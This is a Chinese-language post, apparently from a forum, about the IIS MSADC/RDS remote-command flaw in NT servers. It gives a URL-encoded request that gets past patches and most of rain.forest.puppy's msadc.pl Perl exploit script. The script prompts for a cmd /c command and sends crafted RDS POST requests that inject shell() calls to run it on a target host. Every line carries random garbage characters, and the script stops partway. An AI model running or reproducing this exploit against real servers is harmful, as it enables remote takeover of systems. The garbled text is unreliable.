IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
MT`gCvoF4P CA0SH{PdW& 涉及程序:
s|/m}n Microsoft NT server
/U|> a{?`yO/ 2 描述:
mY}_9rTn| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
=U:9A=uEvS vrS)VJg` 详细:
lu]Z2xSv 如果你没有时间读详细内容的话,就删除:
,34|_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
iG:9uDY 有关的安全问题就没有了。
6CK WKc H|E{n/g 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
mPl2y3m% t#kPEiD 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
i\4Q v"% 关于利用ODBC远程漏洞的描述,请参看:
pHW
Qk z( 5IK -V) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm uVO*@Kj+ 3$]SP1Mc( 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1x\Vz\ http://www.microsoft.com/security/bulletins/MS99-025faq.asp M5mCG .GJl@==~1 这里不再论述。
R"j6 w[tn y:FxX8S$'e 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
ER z@o_ w"-' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
AnB]f~Yjl 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
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4iJ MhE'_sq 8 *Fr=+KN #将下面这段保存为txt文件,然后: "perl -x 文件名"
sd (I@
&y -c^/k_n #!perl
# g.J,L #
P)7_RE*gY # MSADC/RDS 'usage' (aka exploit) script
/F>\-
#
<"SDU_<xG # by rain.forest.puppy
Je|D]w #
IEi E6z]L( # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
|sM#nhxK # beta test and find errors!
amPC C Gi<ik~ use Socket; use Getopt::Std;
6 (:^>@ getopts("e:vd:h:XR", \%args);
(kECV8)2 ZBDEE+8e print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
(<u3<40[YN N8$MAW if (!defined $args{h} && !defined $args{R}) {
/xK5%cE>B print qq~
O@.afk"{ Usage: msadc.pl -h <host> { -d <delay> -X -v }
D$sG1*@s- -h <host> = host you want to scan (ip or domain)
k+(UpO=/* -d <seconds> = delay between calls, default 1 second
S Z@ JzOA -X = dump Index Server path table, if available
1wx&/#a -v = verbose
MX3ss,F -e = external dictionary file for step 5
=xO q-M /eM_:H5 Or a -R will resume a command session
k'_p*H ,n')3r ~; exit;}
8QFn/&Ql$B i.4L;(cg $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
oB3,"zY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
&hK5WP6whW if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
5kwDmJy if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
VrV* -J' $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^':Az6Z if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
\M]w I 7l-`k if (!defined $args{R}){ $ret = &has_msadc;
PI"&-lXI-m die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
?0Xt | C*e)UPK` print "Please type the NT commandline you want to run (cmd /c assumed):\n"
kNX(@f . "cmd /c ";
:#M(,S"Qq $in=<STDIN>; chomp $in;
.O\z:GrSZz $command="cmd /c " . $in ;
R:*I>cRs x6,kG if (defined $args{R}) {&load; exit;}
vXUrS+~x XxW~4<r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
(t.pM P4 &try_btcustmr;
yFt'<{z[nL +vxU~WIV& print "\nStep 2: Trying to make our own DSN...";
0:(`t~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_8Si8+j dXKv"*7l print "\nStep 3: Trying known DSNs...";
8aCa(Xu(H &known_dsn;
y{Wtm7fnA #S[:Q.0 ; print "\nStep 4: Trying known .mdbs...";
G0sg\] &known_mdb;
F,CQAgx h[()!\vBy if (defined $args{e}){
`jR = X print "\nStep 5: Trying dictionary of DSN names...";
URW#nm? &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
M5C}*c9 PVAs# ~ print "Sorry Charley...maybe next time?\n";
DzLm~
aF exit;
buGYHZu s'LY)_n ##############################################################################
v})0zz?,1 Q+ ;6\.#r sub sendraw { # ripped and modded from whisker
YW@Ad sleep($delay); # it's a DoS on the server! At least on mine...
6gS<h\h0 my ($pstr)=@_;
=bUVGjr%96 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ojO<sT:by die("Socket problems\n");
6&% c if(connect(S,pack "SnA4x8",2,80,$target)){
'C6K\E select(S); $|=1;
dZ UB print $pstr; my @in=<S>;
w.qpV]9> select(STDOUT); close(S);
>6XGF(G
return @in;
?YY'-\h? } else { die("Can't connect...\n"); }}
*iB_$7n` V@jR8zv|_ ##############################################################################
Sqw.p# 4|f I9. sub make_header { # make the HTTP request
YQ>M&lnQ< my $msadc=<<EOT
[guJd"; POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~4th;#' User-Agent: ACTIVEDATA
#UH|,>W6 Host: $ip
Q!Rknj 2 Content-Length: $clen
3=!\>0;E- Connection: Keep-Alive
9N>Dp N
Y_&D W4 ADCClientVersion:01.06
zJWh Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
(o_w[jv wVCZ=\L} --!ADM!ROX!YOUR!WORLD!
Lwgk}!KR Content-Type: application/x-varg
&?(r#T Content-Length: $reqlen
YPAMf&jEF H"4^ EOT
%WrUu|xj>_ ; $msadc=~s/\n/\r\n/g;
<J=9,tv< return $msadc;}
|$`LsA. C?Dztkz ##############################################################################
~={8b ![os5H.b#q sub make_req { # make the RDS request
R9gK> }>Y my ($switch, $p1, $p2)=@_;
e7/ b@ my $req=""; my $t1, $t2, $query, $dsn;
k<uC[)_ sfez0Uqe.~ if ($switch==1){ # this is the btcustmr.mdb query
vukI`(# $query="Select * from Customers where City=" . make_shell();
' jFSv|g+0 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
'+BcPB?E $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
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